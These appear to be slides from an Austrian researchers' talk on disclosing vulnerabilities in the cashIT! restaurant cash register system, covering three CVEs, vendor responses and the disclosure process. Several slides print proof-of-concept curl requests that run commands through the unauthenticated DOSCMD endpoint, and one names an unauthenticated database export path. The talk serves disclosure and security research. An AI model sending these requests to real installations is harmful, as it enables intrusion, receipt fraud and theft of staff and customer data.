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Woher kommt der „admin“ Login?
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cashIT!

Registrierkasse gemäß RKSV für die Gastronomiet Seit 2006 als Kassensystem entwickeltt Seit 2017 mit Registrierkassenfunktion
Fernzugriff über das Internet ist vorgesehent Dedizierte Fernzugriffsberechtigung konfigurierbart Hersteller betreibt eigenen „dynamischen DNS“

(Fernzugriff mit festem Namen statt wechselnder IP-Adresse)
233 cashIT! Instanzen im Internet erreichbar (≥1060 Kassen-IDs zugeteilt)t ≥380 im aktuellen Monat aktivt ≥500 in den letzten 12 Monaten aktiv
Ein-Personen Unternehmen
Verkauft wird Hardware + Software + Support
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cashIT! cash registers

Abstract This report summarizes our findings about vulnerabilities in cashIT!, a
cash register system implementing the Austrian cash registers security regula-
tion (RKSV). Besides lack of encryption, outdated software components and low-
entropy passwords, these weaknesses include a bypass of origin checks (CVE-
2023-3654), unauthenticated remote database exfiltration (CVE-2023-3655),
and unauthenticated remote code with administrative privileges on the cash reg-
ister host machines (CVE-2023-3656). Based on our analysis result, these vul-
nerabilities affect over 200 cash register installations in Austrian restaurants
that are accessible over the Internet. In addition, daily cloud backups of more
than 300 active cash register installations (and over 600 including historic back-
ups of presumably inactive installations) are freely downloadable from cashIT!
servers. These cloud backups contain detailed sales data, user account informa-
tion (potentially with data about current and former employees), andmay contain
customer contact information, credentials for the online signature creation unit,
and credentials to the backend system of the Austrian card payment processor
Hobex.

We acknowledge partial support by the LIT Secure and Correct Systems Lab
funded by the State of Upper Austria. https://doi.org/10.35011/ww2q-d522
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Responsible Disclosure 1 (Dezember 2022)

Warum ist „admin“ ein gültiger Keycode?

Grundsätzlich obliegt es dem Kunden dieses „Standard-
Passwort“ zu ändern [...]
Wir haben [...] alle Standard-Passwörter entfernt.

Der Admin kann Passwörter auslesen?

Ja, der ADMIN-User hat derzeit diese Berechtigung.
Es kann das Profil aber so konfiguriert werden, dass die-
se Funktion nur im lokalen Netz vor Ort verfügbar ist.
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Responsible Disclosure 1 (Dezember 2022)

Die Passwortkomplexität (165) erscheint uns zu gering.

Die Keycodes eines Kellnerschlüssels sind üblicherweise
16 Stellen (hex). Die Mindestlänge dieses Keycodes [...]
kann vom Benutzer selbst festgelegt werden.

Warum wird kein HTTPS (TLS-Verschlüsselung) verwendet?

Wir bieten unseren Kunden (entgeltlich) auch diese Mög-
lichkeit [...] Da die Daten in der Regel keine DSGVO-
Relevanz haben kann der Kunde das selbst entscheiden.
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Erkenntnisse

Login mit „admin“ wurde behoben, indem das Feld „Anmerkung“ geändert
wurdet Anmerkung == Passwort (?!)

CERT scheint mit Antwort des Herstellers zufrieden zu sein
Betroffener Kunde sieht auch keinen Handlungsbedarft Wir geben uns daher auch damit zufrieden

Wir würden uns die Software gerne genauer ansehen ...t Nehmen Kontakt mit betroffenem Kunden auf

Daher für 6 Monate keine weiteren Entwicklungen
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Auf den zweiten Blick ...

http://.../page/start.mv?NOFRAMES+
01d9df0e6290a6d60000609+2+26+44+
PLUGIN+SETUP+DOSCMD+&dosline=spooler

?
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Was jetzt?
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Introduction toMivaScript

<MvASSIGN NAME="cmd_line" VALUE="&[dosline] \> shell.txt">
<MvEXPORT FILE="&[set_cmdpath]shell.cmd" FIELDS="cmd_line" DELIMITER="">
...
<MvIF EXPR="{ g.show_output EQ '1' }">

<MvASSIGN NAME = "i_time" VALUE = "{ dyn_time_t + 5 }">
<MvWHILE EXPR="{ i_time GT dyn_time_t }">

<MvASSIGN NAME = "i_boring" VALUE = "i am boring">
</MvWHILE>

</MvIF>

“A typical Miva Script application combines HTML tags, Miva Script tags and
functions; is compiled and uploaded to a web server [...]” (Quelle: mivascript.com)
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Zurück in die Vergangenheit ...
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register_globals: Eine alte, schlechte Idee!

curl "http://posxxxxx.posdev.online/page/start.mv?NOFRAMES+01d9df0e6290a6d60000609"\
"+2+26+44+PLUGIN+SETUP+DOSCMD+&dosline=whoami"

curl \
--request POST \
--data "login_status=OK" \
--data "cmd_mode=2" \
--data "dosline=whoami" \
"http://.../page/plugin/datalink/start.mv?NOFRAMES+0+0+0+0+0+SETUP+DOSCMD+"

CVE-2023-3656 (9.8 CRITICAL)
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Exkurs: DasDOSCMDPlugin

MivaScript unterstützt keine externen Programmaufrufet Darum werden Befehle in eine Datei (shell.cmd) exportiert
Auf dem System läuft ein PowerShell-Programmt Durchsucht Verzeichnis regelmäßig nach neuen .cmd-Dateient Wenn Shell-Script gefunden und nicht leer, wird dieses ausgeführt

Verwendet für Registrierkasse (Chipkartenleser), Drucker, ...
Ein Prozess wird nach dem anderen ausgeführt
Busy-Wait bringt CPU beimWarten auf 100% Auslastung
Keine Validierung ob Input und Output zusammengehören
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Everybody is Localhost

<MvIF EXPR="{ len(remote_addr) LT 7 or len(remote_host) LT 7 or
'localhost/' cin documenturl or remote_host EQ '127.0.0.1' }">

<MvASSIGN NAME="remote_addr" VALUE="127.0.0.1">
</MvIF>

<MvIF EXPR="{ allow_external NE '1' and remote_addr NE '127.0.0.1'}">
<MvASSIGN NAME="login_status" VALUE="KO">
</MvIF>

CVE-2023-3654 (9.4 CRITICAL)
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start.mv

index.mv
board.mv datalink.mv

update.mv
files.mv display.mv

import.mv
load.mv addfile.mvcashdraw.mv

saldopay.mvrestore.mv
bon.mv

rksv.mv
cardcheck.mvmodifystorno.mv

login.mvdatalist.mv userscreen.mvtext.mv

export.mv

EinenDatenexport ... bitte

CVE-2023-3655 (7.5 HIGH)

2023-10-04 Fallstudie cashIT! 18



Authentication

<MvIF EXPR="{(len(login_network) LT 1 or NOT(login_network cin remote_addr)) and len(keycode) LT 5}">
<MvASSIGN NAME = "g.keycode" VALUE = "">

</MvIF>
<MvIF EXPR="{ len(keycode) LE 2 }">
<MvASSIGN NAME = "g.keycode" VALUE = "">

</MvIF>
...
<MvFILTER FILTER="{ cashuser.d.user NE 'posdev' AND cashuser.d.user NE 'cashit' AND
cashuser.d.user NE 'pos' and
(toupper(cashuser.d.h_memo1) EQ toupper(keycode) and len(cashuser.d.h_memo1) EQ len(keycode)) or
(toupper(cashuser.d.h_memo2) EQ toupper(keycode) and len(cashuser.d.h_memo2) EQ len(keycode)) or
(toupper(cashuser.d.h_memo3) EQ toupper(keycode) and len(cashuser.d.h_memo3) EQ len(keycode)) or
(toupper(cashuser.d.password) EQ toupper(keycode) and len(cashuser.d.password) EQ len(keycode)
)}">
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Risikoabschätzung

Botnetz aus cashIT! Geräten
Daten stehlen und verkaufen
Betrieb während Kernsaison stören/stoppent Tischabrechnung verändern

Registrierkasset Erfundene Belege signieren (Finanzamt!)t Keine Belege an Finanzamt melden und falsche Belege drucken

Elektronisches Bezahlsystem stören/manipulieren? (Hobex)
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Responsible Disclose 2

Meldung an Hersteller am 27.06.2023
CERT.at wieder eingebunden
Liste aller gefundenen Schwachstellen
Keine Bewertung hinsichtlich Kritikalität
Keine Lösungsvorschläge
Responsible Disclosure Frist von 90 Tagent Angebot einer Verlängerung, falls Hersteller konkreten Plan für Behebung der

Schwachstellen hat, der mehr Zeit benötigt
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Erwartungen

Was wäre in so einer Situation
die richtige Vorgehensweise?
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Recap

(Unauthenticated) Code Execution
(Unauthenticated) Database Export
Remote Zugriff auf „Localhost-Funktionen“
Einsatz von völlig veralteter Software
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Kein guter Start ...

Danke für ihr Feedback, welches wir – wie auch schon bei letzten Mal –
durchaus ernst nahmen.

Dennoch möchten wir der guten Ordnung halber festhalten, dass die von ih-
nen gefundenen Schwachstellen entweder Insider-Wissen, wissenschaftlich /
technisches Interesse und Ausbildung und die Zeit für entsprechende Unter-
suchungen oder eine kriminelle Energie voraussetzen.

Bitte bedenken Sie auch, dass eine Veröffentlichung von festgestellten
Schwachstellen die Angreifbarkeit unseres Systems massiv erhöhen würde.
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RemoteCode Execution ... gelöst?

curl -d "login_status=OK" -d "cmd_mode=2" -d "dosline=whoami" \
"http://posxxxxx.../page/plugin/datalink/start.mv?NOFRAMES+0+0+0+0+0+SETUP+DOSCMD+"

curl \
--request POST \
--data "login_status=OK" \
--data "XXXXXXXXXX=XXXXXX" \
--data "cmd_mode=2" \
--data "dosline=whoami" \
"http://.../datalink/start.mv?NOFRAMES+0+0+0+0+0+SETUP+DOSCMD+"
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Database Exfiltration ... gelöst?

Added in /page/plugin/syncdata/export.mv:
<MvIF EXPR="{ arg2 ne 'cashitem' and arg2 ne 'display' and arg2 ne 'shopunit'

and arg2 ne 'cashcats' }">
<MvASSIGN NAME = "arg2" VALUE = "">

</MvIF>
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Database Exfiltration ... gelöst?

Added in /page/plugin/syncdata/export.mv:
<MvIF EXPR="{ arg2 ne 'cashitem' and arg2 ne 'display' and arg2 ne 'shopunit'

and arg2 ne 'cashcats' }">
<MvASSIGN NAME = "arg2" VALUE = "">

</MvIF>

We found multiple endpoints that permit full database exfiltration without
authentication. For instance http://.../page/plugin/syncdata/export.mv
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Exkurs: Code-Qualität

345 MivaScript-Dateien
Durchschnittliche Code-Similarity: >48% (Median bei 42%)t 5 fast identische export.mv-Dateient Noch mehr Dateien mit dem gleichen Code aber anderem Namen

609 Funktionsdefinitionen für nur 344 Funktionsnamen
Viele nicht mehr genutzte Codepfadet Gemeldete Probleme wurden teilweise behoben, indem ganze Files ersatzlos

gelöscht wurden
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Dynamischer DNS

Wird vom Hersteller betrieben
Erlaubt bequemen Remote-Zugriff auf öffentliche cashIT! Instanzen
Auflösung von partiellen Matches des „Kassennamens“t http://urest.posdev.online Ô http://jkurestaurant.posdev.online
Auflösung von Kassen-IDt http://posXXXXX.posdev.online
Beides wurde nach Meldung vollständig behoben

Warum ausgerechnet das?
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Infrastruktur

3 Systemet cashIT! Backup Servert cashIT! Update Servert cashIT! Demo Instanz

Alle nutzen ausschließlich HTTP ohne TLS
Alle nutzen Miva Empresa 3.9705
Alle laufen auf dem gleichen (Windows-)Server
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Backups
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Backups

Backups von 685 Kassen, davon

328 aus aktuellemMonat

460 aus letzten 12 Monaten

älteste aus dem Jahr 2018
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Updates

Neue Updates werden täglich gesucht
Update Vorgang muss manuell gestartet werdent ca. 175 von 233 mit „regelmäßigen“ Updates (143 mit Update ≤ 2Wochen)

Sollte nicht im laufenden Betrieb erfolgent Verwendet den Shell-Runner / Code Execution Endpoint

Kann Dateien hinzufügen oder aktualisieren
Versionierung nur eingeschränktt Dateiänderungen und Versionssprünge erfolgen nicht gleichzeitigt Dateien ändern sich auch ohne Versionssprung

Ô Gleiche Version != gleiches System
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Andere Updates

cashIT! nutzt Microsoft Internet Information Services (IIS)
Windows Updates werden nicht vom Hersteller eingespieltt Laut Hersteller sind dafür die Kunden verantwortlicht Manche Kunden machen Updates, andere anscheinend nicht

Windows-Version wird nicht vom Hersteller aktualisiertt cashIT! wird inklusive aller Softwareizenzen verkauftt Müssten Kunden eigene Windows-Lizenz für Upgrade kaufen?

92 Instanzen nutzen noch IIS 7.5t End-of-Life seit Jänner 2020
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Apropos Lizenzen

Neue Kassen scheinen durch Klonen eines Disk-Image
erstellt zu werdent Gleiche Windows Lizenz-Schlüsselt Identische Volume-Seriennummer

Installierter Windows Lizenz-Schlüssel auf Facebook
zu finden?
Miva Empresa Lizenz weckt ebenfalls Fragent Aktuelle Versionen von Miva Empresa kostenlos

verwendbart Miva Empresa 3.97 erfordert kostenpflichtige Lizenz pro
verwendeter CPU
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CVEs

Versuch über CERT.at zu beantragen
Verwiesen an CyberDanubet ... die uns sehr unterstützt haben ... vielen Dank dafür!
3 CVEs beantragtt CVE-2023-3654: Bypass of origin checkt CVE-2023-3655: Unauthenticated remote database exfiltrationt CVE-2023-3656: Unauthenticated remote code execution

Weitere CVEs?t Wir hätte natürlich weitere CVEs beantragen können,
aber das erschien uns nicht sinnvoll
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Werwird informiert?

Von uns ...t Herstellert CERT.att Kassenbetreiber am Campus

Vom Hersteller ... wissen wir nicht, aber wir würden erwarten ...t Betroffene Kundent Datenschutzbehörde (Leak von Mitarbeiterdaten, Gästedaten, etc.)t Hobex (Leak von Credentials)t A-Trust (Leak von Credentials)

Von CERT.at ...t Niemand, sind nicht zuständig
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Wie geht esweiter?

Hersteller scheint der Meinung zu sein, alle Probleme seien behoben
Wir haben CERT.at um Unterstützung bei Kommunikation gebetent CERT.at hat ebenfalls beim Hersteller urgiertt Sehen neben Veröffentlichung keine weitere Handhabe

Wir sehen keine weiteren Ansprechpartner
Mit diesem Vortrag endet unsere Beschäftigung mit cashIT!
Software wird in diesem Zustand weiter an Kunden verkauft
Kassensysteme in diesem Zustand weiter aus dem Internet erreichbar
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Diskussion

Was ist sicherheitstechnisch in Österreich Stand der Technik?
Wird dieser für nicht kritische Infrastruktur irgendwie durchgesetzt?
Hätten wir in dieser Situation anders agieren sollen/müssen?
Soll der Responsible Disclosure Prozess in Österreich wirklich so
funktionieren?t Falls nein: Wie sonst?
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